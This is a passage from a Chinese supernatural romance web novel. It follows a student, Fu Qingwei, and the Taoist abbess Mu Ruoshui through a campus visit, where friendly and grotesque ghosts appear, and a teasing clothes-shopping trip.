因为她很久没回来住了,打开冰箱空空如也,傅清微点开了外卖软件,不忘问已经醒了的穆若水要不要吃点。 穆若水一口回绝。 傅清微点了份饭,想起来一件事:她好像从来没有见过道长吃饭。 难道传说中的辟谷是真的? 按照那本书里记载的事迹,她该不会已经功德圆满,成仙了吧?这种生活在凡间的仙人叫什么来着?地仙? 当然也不排除她背着傅清微吃饭的可能,就像她晚上偷偷去后山的温泉洗澡。 要不是傅清微激将她,她都不会说。 傅清微想了想,又叫了一份水果外卖。 送水果的外卖员到得很快,门铃声响起的时候,傅清微看见穆若水整个人都透出一股焦躁的气息,连面具也抵挡不住。 “您的外卖到了。”穿着蓝色制服的小姐姐在门口说道。 傅清微把视线从穆若水身上收回来,还没来得及道谢,门里便传来一句戾气不耐的:“让她走!” 仿佛下一秒就要大开杀戒。 傅清微连忙关上门。 “已经走了已经走了。” 穆若水渐渐平静……并没有。 涂满颜料的方相面具对上傅清微的脸,面具后的女人阴沉道:“我讨厌生人的气息。” 傅清微:“知道。” 至今也只有她一个人被允许接近观主。 但她不知道有这么讨厌。 占英跟她说的时候,说她会杀人,她还以为是夸张,毕竟她们俩第一次见面就睡同一个棺材了,穆观主对她一直挺关照的。 傅清微:“待会我自己下去拿。” 她同时决定让占英给她们找一个新的住所,最好是远离人群的。 她这个地方住的要么是上班族,要么拖家带口,小区来往的人流密集,楼道上上下下每天都有声音,对穆若水的心情不好。 傅清微温柔道:“先吃水果吧,我去厨房洗一下,你不要生气。” 穆若水的怒气被轻轻地抚平了。 “嗯。”她几若未闻地应了一声。 傅清微耳力好,正好听见,心想道长还是很好哄的。 她唇角微微翘了一下,步入厨房。 因为房子很小,从客厅到厨房也就几步的距离,穆若水抬起眼帘,就可以把年轻女人忙碌的身影都收进眼睛里。 她穿的还是昨天的睡衣,一件刚好盖住大腿的长衬衣,雪白雪白,皮肤像倒出来的牛奶。 她切水果的时候,因为手部动作衣摆往上抬,衬衣短得立刻遮不住大腿,春光乍泄。 穆若水眼皮子一跳,收回了视线。 傅清微买了应季的冬枣,清脆饱满,青中带红,表面还挂着清透的水珠,穆若水本来不想吃,傅清微喂到她嘴边的时候还是启唇轻轻地咬了一下。 很脆。 滋味是甜的,很久没有尝到这种味道了。 穆若水晃了神。 直到傅清微问她怎么样,她才回神轻轻地点了一下头:“好吃。” 傅清微喜笑颜开。 “那太好了。” “好在哪里?”值得她这么高兴。穆若水想不明白。 “你喜欢,所以太好了。” 穆若水仍旧不明白,她对傅清微有太多不了解了。 她重新戴上了柳木面具,把自己上扬的唇角藏在了面具后面。 点的午饭也到了,外卖员在一楼打来电话,傅清微要出门取外卖,刚离开沙发被穆若水叫住。 面具不好传达表情,她点点手指,指着傅清微白得发光的腿,平淡道:“穿条裤子。” 傅清微把衬衣撩起来给她看,穆若水在面具里紧紧闭上了眼睛。 过了会儿才敢睁开。 傅清微笑眼弯弯。 原来她里面是穿了裤子的,就是有点短,刚刚在厨房穆若水眼神躲得快才没瞧见。 ……还是太短了。 穆若水紧紧地闭上嘴巴,控制自己没有说出来。 幸好有面具。她再一次庆幸。 然后她就看到傅清微拿起了挂在门边的大衣,穿上以后到膝盖下方,这下不短了。她回头看了一眼坐在沙发里的穆若水,似乎笑了一下,什么都没有说。 又似乎什么都说了。 穆若水:“……” 好奇怪,为什么感觉坐在这里,她和傅清微的角色调换过来了? 她游刃有余,自己处处受限。 不能这样下去。 要不还是打副棺材躺进去吧。 …… 傅清微拿完外卖上来,客厅坐着的女人不见了,她拿起手机就打电话。 来电铃声从卧室传出来。 门却紧紧关着。 傅清微叩了叩门:“道长?” 穆若水没开门,在门里接了她的电话:“我困了,想休息一下。” 手机里和门里传出来的声音有一个极小的时间差,像是回声制造在傅清微的耳边,第一句是她,第二句还是她。 傅清微闭上眼睛回味,顿了顿,才说:“好,你睡吧,午安。” “午……”穆若水及时把电话掐了。 好险。 傅清微情不自禁地弯了眉眼。 好可爱。 走回客厅的下一秒她就反思自己这样的心理活动是不对的,这是蓬莱的穆观主,要放尊敬点!怎么能用可爱来形容呢?人家都一百多岁了,要尊老,一定要尊老。 像刚刚那种出门前故意调笑她的行为也不能再有了! 正经点,傅清微!你怎么变成这样了! 傅清微坐在餐桌前已经完全平复了心情,调出IPad里的下饭剧开始吃午饭。 下午傅清微有一节就业指导课,大四的课程很少,一周总共也就三节,有一节还是必修。穆若水上次说学校是冲煞之地,让她远离,她倒是想,但是她还要修学分毕业,不能不去。 白天阳气足,一般不会有事,只要她赶在天黑之前回来。 傅清微摸了摸手上的佛珠,心里的底气又足了一些,就算有万一,道长不会让她出事的。 【我去学校了】 怕打扰穆若水午睡,傅清微没给她打电话,而是发了短信。 【明天我休息,再带你出去转转】 大门拉开的同时,卧室的房门也打开了,红衣傩面的女人几步来到她的跟前。 傅清微:“道长?” 女人沉声说:“我和你一起去。” “去哪儿?”该不会是学校吧? “学校。” “不不不用了。”傅清微受宠若惊,但还是对自己的斤两有数,她何德何能让穆观主陪她去学校,连忙摆手,“真的不用,我会按时回来的,绝不会出意外。” “由不得你。” 女人的声音彻底冷了下来,耐心告罄。 傅清微也知道确实由不得她了,听话地闭嘴。 “等等。” “又怎么了?”已经走出家门的穆若水回过头,语气夹杂着不耐,“信不信我……” “杀了我。”傅清微预判了她的预判,把她的手拿起来熟练地掐在自己的脖子上,又轻松地拿了下去,说,“我信。你不要这么急,我是说你这么出去太惹眼了。” 先不说她一身红衣道袍,青丝如瀑,走出去以为是哪个剧组的大明星,就光她脸上的方相面具,一进地铁站不得随机吓哭好几个小孩,到时候万一有人报警,说她公开传教之类的,说不定还得去警察局走一趟。 灵管局是会来捞人,但她堂堂特别顾问,傅清微不能让她落了面子。 “首先,面具不能戴。”傅清微温柔道。 她的手自然绕到女人的耳后,想替她摘下来,此举未免太过亲密,她白皙指节蜷了蜷,还是收回了手,示意她自己来。 穆若水却不动,冷道:“我不想见外人。” 傅清微心念一动,顺着她的话想到:那我是什么?内人吗? 第20章 傅清微不自在地清了清嗓子, 说:“嗯,我这有口罩,只露眼睛可以吗?” 穆若水蹙着眉。 傅清微耐心地解释道:“主要是你戴这个面具出去会有麻烦。” 穆若水勉强同意:“那就戴你所说的那个……口什么。” “还有这身衣服。”傅清微不否认自己有一部分私心, 街上的和尚和道士最近一直有, 应该是出了什么事, 灵管局的活跃可能也与此有关,穆若水穿道袍其实一点问题没有, 除了回头率太高。 穆若水在这件事上出乎意料的不那么坚持, 松口道:“但是我没有山下的衣服。” 起初灵管局用无人机给她送了现代衣物,穆若水只拿了她感兴趣的手机, 其他的丢进厨房灶下。 何况这种贴身的衣物, 她怎么会穿灵管局的? 傅清微声音低了低,说:“你要是不介意的话,穿我的衣服可以吗?” 傅·自诩内人·清微暗含期盼。 穆若水说:“不行。” 她拒绝得毫不犹豫, 傅清微脸上像是被一只小猫轻轻地甩了一巴掌, 响亮得很。上一秒她还以为这只白猫生人勿近,只有自己能撸毛,下一秒她出手如电用爪子抽了她一下, 轻盈一跃到了屋顶,金色眼瞳高傲睥睨地瞧着它。 愚蠢的人类。 傅清微:“……” 还是太不把自己当外人了。 傅清微被自己的自作多情逗笑,穆若水则莫名其妙看着她笑眼弯弯的模样。 没说错的话,自己刚刚应该是拒绝她了吧。 穆若水重复了一遍:“我说的是不可以。” 傅清微眼神噙着笑:“我知道。” 穆若水:“……” 她脑子好像坏了。 一定是昨晚那只妖鬼附身的问题, 她要把它碎尸万段,占英怎么还不回她电话? 穆若水看她脑子有病的眼神越来越明显, 傅清微收敛了笑容, 说:“我给你拿口罩。” 流感季节多发,玄关常备一次性蓝色口罩, 傅清微从盒子里拿出一只口罩,放在穆若水脸上比了比,还没有碰到就收了回去,换回拖鞋往卧室走:“我去拿新的。” 这种一次性口罩配不上她的颜值。 穆若水:“?” 傅清微蹲在衣柜前,翻箱倒柜从抽屉里找出了一只没用过的纯棉黑色口罩,走了出来。 穆若水没戴过,但是她在第一次水镜里傅清微坐地铁的时候,见到有人戴这东西,原来此物叫口罩,词义很形象。 设计简洁,和面具的戴法差不多,挂耳更方便。 不需要傅清微教,她自己就已经戴上了,还琢磨着把傩面脑后的红线也改良一下。 自然错过了傅清微因为她全程没要自己指导一闪而过的失落。 穆若水勉强把面具换成了口罩,低低的声音从口罩后传出来:“走吧,你不是要去学校吗?” “嗯。” 傅清微关上了大门。 穆若水在走到电梯口时回头看了一眼密码锁。 直上直下的电梯给了穆观主新体验,百年间科技确实进步了很多,从前这些都是仙人的本事,怪不得世间已无人飞升。 人们信仰自己,不再信仰神灵,神也快死了。 除了那些经过历代帝王册封,还在宫观庙宇享人间香火的神明,其余的都悄无声息地死去,或正在面临死亡。 单元楼的一楼住的多是老人,电梯抵达一楼,左手边的住户大门贴着凶神恶煞的门神,龙身马首,似某种珍稀异兽,长尾盘起,怒目而视。 穆若水和那青面门神对视了一眼,释放出一丝本命气息,门神的眼中放出一道金光,穆若水挥手打散。 虽然神力微弱,但还护佑着信仰祂的一家。 傅清微在大门外回头,看向落在身后慢了她几步的女人:“道长?” 穆若水从昏暗走入光里。 “没事,见了个故人。” 傅清微:“?” 傅清微当时把房子租在这里就是因为离地铁站近,步行五分钟,对于贫穷的大学生和打工人来说通勤性价比极高,来到大门口,傅清微却打开了叫车软件。 自从她出了单元门,穆若水就一直紧紧跟在她的身后。 ——我讨厌生人的气息。 穆若水露出的上半张脸漂亮的眉头紧锁,眼神忍耐。 地铁有无数人,而出租车只有一个司机,相比来说更容易忍受。 网约车打着双闪停在了路旁,穆若水的肢体下意识抗拒坐进这个铁盒子里,尤其里面还有一个不认识的陌生人。 傅清微低声对穆若水说了声抱歉,牵起她的手腕慢慢带着她坐进了车里。 口罩隔绝了一部分外界的气息,傅清微手掌的体温隔着衣料传入她的小臂,她靠了过来,离得很近,小声和她说话:“感觉还好吗?” “还好。” 她周围都是年轻女人的气息,极大地安抚了她。 “不要离开。”穆若水说,声音竟有一丝祈求。 傅清微停下了坐回去的动作,就保持这样的姿势,甚至更近了。 在司机的后视镜里,只看到傅清微的脑袋叠着另一个女人的脑袋,是个人都猜得到在干什么。 鹤市的同性恋遍地都是,前面的司机大姐怪不好意思地打断:“手机尾号多少?” 傅清微回了一下头,看见司机手机界面的两个空框,说:“69。” 大姐输入尾号,车子平稳地转向汇入车流,行驶在主干道上。 大姐时不时看一眼中央后视镜,那俩连动作都没变过,肯定是热恋,只有刚谈恋爱的人才会亲这么久。 因为内环高架堵车,所以比平时慢。 二十分钟后。 大姐:“……”还在亲,嘴巴不酸吗? 傅清微嘴巴不酸,她肩膀酸,脖子也酸,因为一直保持一个姿势,穆若水还不准她动。 其实还有一个办法,她把道长抱在怀里,也能起到同样的效果。 但她怕下一秒观主就要拧断她的脖子。 或者,咬断她的脖子。 像一只起了杀心的猫一样。 半小时后,白色网约车停在了C大的西门,西门由两根汉白玉的柱子雕成,足有十几米高,仰脸望去,中央连接处金色字体雕刻了高校名称。 C大兼容并蓄,以开放的校风欢迎内外人士,大门敞开,傅清微领着穆若水走了进去,即使专挑人少的地方,穆若水也感到十分不适。 穆若水说:“你去教室吧。” 傅清微问:“那你呢?” 穆若水道:“我找个楼顶待着。” 傅清微说好。 她也没问穆若水怎么上去,就像黄鼠狼那天她怎么出现在八楼阳台,昨晚又是怎么从八楼消失得无影无踪。 穆若水:“你下课了给我打电话,我来接你。” 傅清微哪好意思心安理得地接受:“还是我来找你吧。” “那我去你的教室那栋楼的楼顶。” “你怎么知道我在哪栋楼?”离这里还有段距离呢。 穆若水回答了一句让傅清微心湖久久不能平静的话。 她瞳仁乌黑,认真看着她的眼睛,说:“我感觉得到你。” 在岸边投入石子的人已经离开,涟漪一圈圈地荡开,傅清微握住自己背包的肩带,指节曲了曲。 感觉得到是什么意思? 傅清微停下脚步,额头轻轻地贴在道旁的树上,闭上眼睛,不受控制地轻轻咬唇。 观主说话怎么也这么让人浮想联翩了。 * 穆若水主观上没有撩人的故意。 她是真的能感觉得到傅清微。 方圆几十里内,只要她在附近,她就能顺着她的气息找到她。 否则她是怎么从黄鼠狼手里救下她,昨晚又是怎么精准地找到被白姝附体的她呢? 可能是因为她吸过傅清微的血,但因为她没有吸过第二个人的血,所以没办法控制变量去排查。 她隐约觉得,她们俩之间的牵绊不止于此。 她的气息可以让自己的杀意平静,她起初以为必须是血才可以,如今看来或许最关键的不一定是她的血,而是她。 她感觉得到她,这种感觉就像烙印在她的灵魂里,十分清晰和浓烈,指引着她一次又一次找到她。 穆若水坐在空无一人的楼顶吹风,已经在想:傅清微百年以后,这种牵引会随着她的逝去而断掉,到时候自己会不会也有一点寂寞? 下方。 傅清微一脚踏进了劝学楼,阳光在大门处被截断,教学楼的阴气扑面而来。 已经快十二月了。 傅清微扣紧了自己双排扣大衣的扣子,拿出手机确认了一下,朝课表上的503教室走去。 每次临近上课电梯人满为患,明智的学生都会直接选择走楼梯,还是些二十来岁的年轻人,体力几乎是人生最高峰。 傅清微跟随人流上了五楼,刚一上来,面前就有个绿衣服女生问她:“同学你好,516教室在哪儿?” 大冬天她穿着清爽的吊带裙,乌发如瀑,是个漂亮的女孩。 傅清微把视线从她的一字系带凉鞋收回来,指了个方向:“那边,走到头左拐。” 绿衣服女生说:“谢谢。”她又饶有兴致地说,“你能看见我?” 傅清微点了点头。 绿衣服女生:“我好久没和活人说话了,我不去516了,陪你去上课吧。” 傅清微:“……” 这就大可不必。 绿衣服女生笑起来:“骗你玩的,学妹。我去516了,最近记性越来越不好了,连教室都忘了,谢谢你的指路。” “不客气,学姐。” “你好香。” “谢谢,我知道。” “我走了学妹。” 绿衣服的女生从傅清微面前飘走,穿过一个又一个的活人,朝516教室的方向翩然远去。 不是所有的鬼都像那天晚上的女鬼一样,疯了一样的扑上来要附身——能附身的已经不是一般鬼了。尤其是傅清微佩戴符箓阻绝一部分气息之后,大部分的鬼就像绿衣服学姐一样,保持着生前的样子,有的青春,有的和蔼,对人没有攻击性,也弱小得影响不到人,共同点是她们都忘了很多事,死的时间越长忘得越多,在熟悉的地方来回游荡。 傅清微也已经长大了,不再像小时候那样,因为见到普通人看不见的东西分外惊恐,见到恐怖的画面会吓得神魂动摇,给孤魂野鬼可乘之机。 穆观主所说的“修道即修心”“道心坚定,我不可催”,她隐约有所体悟,也联想到了小时候那些模糊的血腥画面。 假如把她的身体比作一座庙,魂魄安放在里面,神魂稳固。别的人想要闯进来,面对一个无懈可击的房子当然要想办法找她的破绽,于是就在外面吓她,吓得她三魂六魄争相出逃,神魂不稳,才能挤进这座庙里。 小孩子不禁吓,所以傅清微年少时常常被野鬼找到机会寄身,同时住好几只鬼也是常有的事。 只要她意志坚定,什么东西都吓不到她,就不会随随便便被野鬼上身。 至于那种厉害的鬼,说上就上,意志是不管用的,但是她还有道长,安全感十足。 傅清微抚了抚手腕上红绳穿着的佛珠,默诵了一遍《金光咒》,抬脚走进了教室。 虽然上一秒说什么东西都吓不到她,但是好好上着上着课,一个人突然冲进来,吊死在讲台上方,双脚一荡一荡,还是让傅清微倒抽了一口冷气,差点站起来。 她扭头看看身边的同学,教室里的其他人没有半点反应,确认了吊死的是鬼。 她擦了擦自己手心的冷汗,有点想给穆若水发短信。 那鬼鲜红的舌头从讲台上方一直垂落下来,搭在老师肩膀上。 “不及格!叫你给我不及格!”舌头缠了好几圈,卷在老师的脖子里。 老师感到呼吸不太顺畅,但也只是一点而已,松了松自己的领口,把大衣外套脱下来,清了清嗓子继续讲课。 “才发现你是教就业指导的,这种课除了误人子弟还有什么用?” 那鬼还在缠,努力地缠,口水流了一地,糊在老师脸上像个抱脸虫。 傅清微:“……” 虽然不害怕,但是已经开始怪恶心的。 傅清微把手机放桌肚里,还是给穆若水发了短信:【教室里有一只吊死鬼,好恶心】 她怕穆若水电话拨过来,事先调好了静音。 过了会儿,穆若水回复她短信:【怎么个恶心法?】 傅清微睁大了眼睛。 不得了了,观主学会打字了! 傅清微手指如蝴蝶上下纷飞:【就是我刚刚上课的时候……balabala】 穆若水白皙的指尖一笔一划在小小的触控板书写,练习怎么发消息,傅清微一下发过来上百字的长篇大论,她看得直眼晕,当即拨了个电话过去。 傅清微在上课,第一反应挂断了。 嘶。 道长不会生气吧?她后知后觉,赶紧打开短信打字道歉,消息没发出去,第二个电话又进来了。 穆若水:“???” 穆若水:“!!!” 居然敢挂她电话? 只有自己挂她电话的份,什么时候轮到她翻身做主了? 好大的胆子! 穆若水一连拨了十次过去,次次被秒挂断,第十一次,傅清微假装上洗手间,从阶梯教室溜了出去,接了起来。 突然通了? 穆若水一下忘记了要说什么。 傅清微:“道长有什么事吗?” “没事。”穆若水试图发怒,酝酿半天,一怒之下微微怒了一下,“下次不准挂我电话。” “哦,好。还有别的事吗?我在上课。” “……没了。” “那待会见?”笑容出现在傅清微的脸上,声音温柔。 “哼。” 笑容从傅清微的脸上转移到了穆若水的脸上,她抢先按下挂断键,这种快乐的情绪延续了很久,一直到傅清微下课后出现在楼顶天台,又推高了一浪。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20-30 第21章 傅清微就这么一节课, 讲台上抱脸虫吊死鬼和老师相亲相爱,她在底下空白本子上默写包括《金光咒》在内八大神咒的经文。 经文写了十几遍,开始练习画宁心符。 三清符头, 莲花符脚, 符身是请求祖师保佑趋吉避凶、灵台一点清明的话。 旁边的甘棠凑过来看了一眼, 大为震惊。 该不会真的要出家了吧? 下课铃一响,傅清微合起笔记本就要冲出去, 被甘棠一把拽住后衣摆, 给揪了回去。 “你怎么回事?赶着去出家啊?” 出家倒不是,要去见一个出家的道士倒是真的。 “不是。”傅清微笑道, “我和一个人约好了, 她在等我。” “是哪位大师?” “你怎么知道?” “还真是出家啊。”甘棠之前就是口嗨一下,没想到她真的找上这路子了,劝她说, “不能因为找不到工作咱就饥不择……呸, 慌不择路不是?你那个动捕的兼职不是干得挺好的吗?拿的钱也不少。” 傅清微本来没想过出家,既然甘棠提了,她也就顺着她的思路想了一下, 正一道士除了不吃牛肉,婚丧嫁娶和世俗一样,她完全可以。如果穆观主是全真的,她也可以跟着一起守全真戒律。 不过穆观主多半会不愿意。 自己又不是真的内人。 “出家没什么不好的啊, 工作多稳定。”傅清微说,她急着要走, 没和甘棠继续掰扯, 丢下一句就急匆匆走了。 傅清微跑了个没影。 甘棠放心不下。 比起担心她出家,她更担心傅清微会遇到骗子。 西南玄学盛行, 本来招摇撞骗的就多,这段时间街上官方的和尚道士到处走,更给了那些骗子混淆视听的机会。黄袍一穿,罗盘在手,就敢冒充自己是大仙了。 甘棠悄悄跟了上去,看见她上了六楼。 六楼有个天台,平时都没人去,除了偶尔搞对象的女女男男。 怎么回事?大仙藏在楼顶? 傅清微直奔天台,甘棠不敢跟得太紧,在楼梯停了等会儿,等她的身影消失才轻手轻脚上去。 天台有一堵墙,傅清微要去见的那个人刚好在甘棠的视野死角。 甘棠只看见背对着她的傅清微高兴地喊了声:“道长!”雀跃地朝对方奔去了。 她什么时候见过傅清微这个样子? 这货不仅骗财,敢情还骗色?! 敢骗她姐妹,看她怎么弄死他。 甘棠四下巡视,找了一块砖头握在手里,贴墙前进,继续听着那边的对话。 傅清微跑到穆若水面前两三步的地方停下了脚步,仍保持着去势,但不敢再近前。 穆若水那种莫名的快乐依旧充盈在她的心中,难得好脾气地“嗯”了一声。 傅清微蹲下来,和她坐着的视线持平。 四目相对,穆若水把脸撇到一边,去看远处四点钟的太阳,离夕阳很近。 傅清微出神地看着她乌黑发丝掩映的侧脸。 即使被黑色口罩挡住,露出来一小片白皙皮肤,也晶莹如雪,耳尖被阳光映得似薄薄清透的红玉。 怎么没声音了? 甘棠心想。 该不会直接搞上了吧? 岂有此理! 她高举着砖头从墙后冲了出来,正要把那个骗子砸个稀烂,面前却只有傅清微一个人,她正惊恐地看着自己,脱口大喊了一声:“手下留情!” “怎么……”冰冷的寒意渗入脖子,甘棠发现自己突然说不了话了。 恐惧一瞬间抓住了她的心脏。 她整个人被拎起来,双脚离地,脖子上掐着一只苍白修长的手,面前站着一个高挑的身穿道袍的陌生女人。 哇。 道袍配口罩,混搭风也太酷了。 这眉毛、这眼睛,光露半张脸就知道是大美人。 甘棠一瞬间忘记了疼痛。 “道长!”傅清微跑过来,下意识伸手去掰穆若水掐住甘棠脖子的手,犹如铁钳,纹丝不动。 她这才知道穆若水掐自己的力道不过是小孩过家家,她放弃上手,退后恳求道:“她是我的好朋友,唯一的,朋友。请道长饶了她吧。” 闻言穆若水的五指收紧了一下,过后松开了手。 甘棠掉了下来,差点跌个狗啃泥,幸亏傅清微及时扶了一把。 甘棠小声说:“你这师父脾气够大的。”她丝毫不觉得法治社会有人敢随手杀人,以为就是吓唬她呢,也不十分害怕。 傅清微看了眼背过身的女人,也小声回她:“她不是我师父。” 虽然听甘棠这么说完她也很想,但还是别乱说话惹穆观主生气了。 傅清微连忙转移话题,问:“你怎么会在这里?” 甘棠看着那个神秘的女人:“我不是怕你上当受骗吗,跟过来看看。” 傅清微:“好了我没事,你快走吧。” 甘棠不放心她,还要留下来多观察,被傅清微按住强行推出去了。 “你推我,你竟然为了别的女人推我,我们俩这样的情分,你居然推我嘤嘤嘤……” 傅清微把她推回了门里,无奈地说:“别演了,回头我请你吃饭。” “带上外边那酷姐。”甘棠扒着门边不放,货真价实的颜狗已经忘记刚才被掐脖子的事了。 傅清微哭笑不得。 “那也要她愿意才行。” “就这么说定了,到家给我发个消息啊。” “知道啦~” 好说歹说把人劝走了,傅清微一步一步地走到穆若水身边,冷不丁探出半边身子越过去从前面看她。 穆若水冷冷地和她对视。 傅清微:“……” 傅清微立刻说:“我错了,对不起,知道你不想见外人,不是因为我她也不会跟上来。” 穆若水现在对她打也打不了,骂也不忍心,干脆不让自己闹心,拂袖径自走了。 她不走楼梯,傅清微的目光只能捕捉到她的一片绯红衣角,便消失在了眼前。 傅清微快步下楼,果然在教学楼出口不远的一棵大树下找到她。 放在校园里,她也是十分惹人注目的一道风景线。 女人体态颀长,乌发红衣,锦靴玉佩,身披日月星辰的鹤氅,那张嘴不说话的时候很有世外高人的高深莫测。 更别提戴了枚黑色口罩。 长得一般的人戴口罩姑且能提升美貌,长得本来就好看的人再戴上口罩,简直把神韵都集中在优越的眉眼,夺人心魄。 傅清微走过去的时候听见身边有人哇了一声,议论她是不是哪个剧组来学校拍戏的女明星?摄影机在哪里? 穆观主生人勿近的气质太强烈,学生们只敢三五成群小声议论,正在这时,她们看到另一个像是学生打扮的人朝树下走去。 秀眉幽瞳,鼻挺唇薄,长长的墨发被风吹乱了几缕,贴在翻毛材质的驼色大衣上,多了少许成熟的气质。 两个都是校外的人吗?另一个女明星?拍同性片儿啊? 后上前的年轻女人牵起树下的道袍女人的手,低语了几句,手挽手离开了。 年轻女人的长发被风吹得遮住半张脸,她不得不抬手整理了一下,露出温柔干净的眉眼,有大四的学生看到她的脸,惊讶地说:“诶,那不是计科的傅清微吗?” “还真是傅清微,那和她一起走的那个女人是谁?” “我天哪,她居然有女朋友了。” “她果然喜欢女的,我从大一就猜到了。” “你快得了吧马后炮。” “支持!女的就应该搞女的!” “刚刚有人拍照吗?我火速发论坛里!” “拍了拍了。” 虽然只有背影,但还是上传到了校园论坛的帖子里,彻底终结了有关傅清微恋情的猜测。 喜提“女朋友”名号的穆观主一无所知,她正被傅清微带到了一家商场门口,工作日下午,人不是很多,傅清微询问她的意见:“我想给你买点衣服,你要不要和我一起进去?” 穆若水:“你知道我的尺寸?” 傅清微摇头。 摇头的同时她上下瞄了一眼,内衣买大一号,或者两个号? 两个号会不会太大了? 穆若水发话说:“走吧。” 傅清微乖乖跟在她后面。 商场里没什么客人,前台柜员摸鱼玩手机,揽客的时不时在门口招呼两声,傅清微走在外面靠近店面的那边,尽量隔绝生人的气息。 每家店都有人,所以穆若水每家店都不想进,转了一圈傅清微才发现这个问题,于是她拿了主意:“我们去这家?” 穆若水无可无不可。 傅清微熟练地牵起她的手腕带她进门,中年导购热情地迎了上来。 穆若水刚皱一皱眉头,傅清微便做了个拒绝的手势,说:“嬢嬢,我们自己看看就行,不用管我们,更衣室在哪里?” 导购指了个方向,似乎明白了她们的关系,友情提醒说:“更衣室不能两个人进哈。” 穆若水听不懂,正走马观花地看衣服。 傅清微脸微微一热。 她大学生脸皮薄,也不好同她辩驳什么。 反正她俩不会进同一间更衣室就行了,也不是那样的关系。 穆若水看了会儿,失去耐性,说:“你帮我挑。” “这个?”傅清微唇角微翘,跃跃欲试地指了一条连衣裙,穆若水抱之以冷笑,做了个手起刀落的动作。 傅清微不敢再皮,老老实实地挑了几身简洁干练的裤装。 傅清微教她怎么看衣服的尺码,标牌的位置,“你看这里有个数字175,下次你买裤子认准这个就行了。不过有的品牌尺码有差异,还是得试过才知道合不合适。” 穆若水听完神色淡了些,看不出喜怒。 “下次你就不给我买了?” 傅清微:“我不是这个意思,我是说你生活在山下,迟早有一个人的时候对吧?或者你自己出来逛街啊……” 穆若水打断她:“不可能。我只要你。” 导购在不远处盯着,表情马上就不一样了,一副吃到瓜又要强忍的模样,恨不得现场掏一把瓜子出来磕。 傅清微心中大呼救命,提高声音替她补上:“只要我陪你逛街,对、对吧?” 穆若水却不答。 那导购边对空气嗑瓜子边心想:这两句话也没什么不一样啊。一个颜色黄一点而已。 傅清微的清白短短一天内被“毁”了两次,其中一次她还不知道。 傅清微选择这家店是因为它同时卖内衣,商场的东西都贵,现在的内衣也不知道是什么镶金带玉的奢侈品,动不动好几百。傅清微一个人是坚决不会在商场买内衣的,但穆若水是第一次买,必须来线下试过,才知道合适的尺寸方便以后网购。 在试内衣以前,她还是先向穆若水确认一下,瞄了一眼导购的方向,小声问道:“道长,你里面穿的什么?” 穆若水挑眉,语出惊人道:“你想看啊?” 第22章 她说话不避人, 也从不知道什么是低调。 当导购向她们走过来的时候,傅清微只觉两眼一黑,百口莫辩, 恨不得把脸埋进那个胡说八道的观主胸口, 还能顺便量量她的尺寸。 导购嬢嬢没说什么, 就是路过整理了一下展架上的衣服,此时无声胜有声。 有人无地自容, 有人添油加醋。 穆若水还在说:“你想看吗?” 傅清微麻了, 问她:“我想看什么?”她自己都不知道自己想看什么。 穆若水:“我里面穿的什么。” 傅清微:“求求你饶了我吧,观主。” 到这个地步傅清微还能不知道她是故意的吗?不知道自己哪个地方又得罪了她, 但她有没有想过, 这样拖她下水,她自己也不清白了。 穆若水才不管清白不清白的,旁人在她眼里都是空气, 她就想玩玩这位姓傅的女大学生。 原来在外面她这么好玩, 出门也不是完全没好处。 那个导购已经在她们身边转了好久了,穆若水没兴趣当着人家的面演,高抬贵手饶过了傅清微。 “换一家。” “啊?” “嗯?”穆若水从鼻腔里出了一声。 “好。” 傅清微把挑好的衣服都还了回去, 彻底告别了那位导购的视线。既然与生人接触难免,穆若水这次自己选了一家门可罗雀的,依旧是傅清微给她挑。 穆若水负手走在她身边,说道:“你刚刚看的那种内衣, 我以前见过类似的,刚传入华国, 还在报纸上打广告。” “所以你里面穿的是……” “抹胸。”其实就是肚兜。 穆若水说话的口吻再正常不过, 控制了别过头的冲动,让自己和傅清微平静对视。 虽然传进来了, 但是很贵,她哪里买得起! 傅清微忍了忍,才让自己所有的情绪归结于一句简单的:“哦。” 当着她的面笑出来,一会儿受罚的还是自己。 傅清微把脸转过去,目视前方,唇角上翘,语气镇定:“那我们现在去试试。” 傅清微纸上谈兵都没谈过,叫来经验丰富的导购,让她帮忙看看。 导购扫了两眼,说:“先试试这个。” 伸手拿了一款粉的和白的。 进更衣室之前,傅清微担心她不会穿,特意给她演示了背后的金属钩怎么扣上,如果对不准可以从前面扣好,再转到背后,最后把肩带拉起来就好了。 非常详细。 穆若水撩起试衣间的帘子进去了。 傅清微在试衣间外守着,两只手握在一起,生怕不顺利,像守在产房外面的家属。 穆若水这边确实不太顺利。 她敲棺材板的习惯带到了山下,叩了叩试衣间的木板。 傅清微马上靠近帘子:“怎么了道长?” 里面的声音说:“你进来。” 该来的总是会来的。 傅清微观察了远处玩手机的导购,一咬牙,偷情一样掀开帘子进去了。 以防万一她还闭着眼睛,生怕看到什么不该看的。就算观主一定要她看,也是待会的事。 穆若水:“睁眼。” 都是女人,看看也没关系。傅清微说服自己,睁开了眼睛。 穆若水衣冠整齐,只有腰带解开了,不知道是脱到一半还是刚穿上。 穆若水抬了抬下巴:“把衣服脱了,给我示范一下。” 傅清微:“……” 她就知道! 只有她占自己便宜的份,没有自己占她的。 一回生二回熟,傅清微把自己当一块没有知觉的木头,背对她宽衣解带,示范穿戴。 大衣挂在边上的挂钩,傅清微脱得就剩一件黑色的Bra,映着欺霜赛雪的肌肤,黑白分明。 穆若水目光自她胸口的红痣掠过,尾指勾了勾Bra的边缘,好奇地问:“这是什么?” 傅清微被迫心如止水:“蕾丝。” “有点多余。” “我回去就把它剪了!” “不必。我只是随口一说。” “道长看会了吗?” “会了。” “那我穿衣服了。” 傅清微里面的薄衬衣剩了两粒扣子,就挂在腰上,她抬手将衣服拉上来,左手刚好和抚上她肩头的手背不期而遇,傅清微的手心盖在女人光滑的手背之上,肌肤的温度仿佛层层传到她的掌心,心口跟着滚烫。 “道长!”傅清微背对她,又没有镜子,心跳在狭小的空间骤然失序。 “无事。” “……”傅清微心说:可是我有事啊! 穆若水从身后贴近了她,鼻尖抵着她雪白修长的脖颈,薄唇若有若无地挨着。 傅清微难耐地闭了闭眼。 “观主……”不要。 “戴上佛珠以后,香气果然是淡了些。”穆若水确认道,嘴唇离开了她的脖子。 虽然对自己的吸引力并没有减少。 穆若水的牙根有些痒,不自觉舔了舔唇,为了不让自己在这咬她,拉开距离说道:“出去吧。” 傅清微如蒙大赦,火速穿起衣服,连大衣都没扣好就跑了出去。 称得上落荒而逃。 